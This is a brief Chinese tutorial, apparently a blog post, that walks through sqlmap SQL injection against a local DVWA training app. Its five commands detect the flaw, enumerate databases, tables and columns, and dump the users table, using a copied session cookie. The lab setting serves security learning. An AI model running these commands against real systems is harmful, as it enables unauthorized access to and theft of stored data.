该文章详细列出了使用Python的sqlmap工具针对DVWA（DamnVulnerableWebApplication）进行SQL注入攻击的步骤，包括检测漏洞、获取数据库信息、列举数据库表、查看表列以及导出数据等操作。这些命令展示了sqlmap如何利用cookies信息对特定URL进行自动化安全测试。
1.检测漏洞：
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=bf6430jbisgcmnv31km4vlurud; security=low"
其中cookie在f12-network-刷新-headers里面
2.获取数据库
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=bf6430jbisgcmnv31km4vlurud; security=low" --dbs
3.获取指定数据库表
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=bf6430jbisgcmnv31km4vlurud; security=low" -D dvwa --tables
4.获取指定表项：
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=bf6430jbisgcmnv31km4vlurud; security=low" -D dvwa -T users --columns
5.获取数据：
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=bf6430jbisgcmnv31km4vlurud; security=low" -D dvwa -T users --dump
1089
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
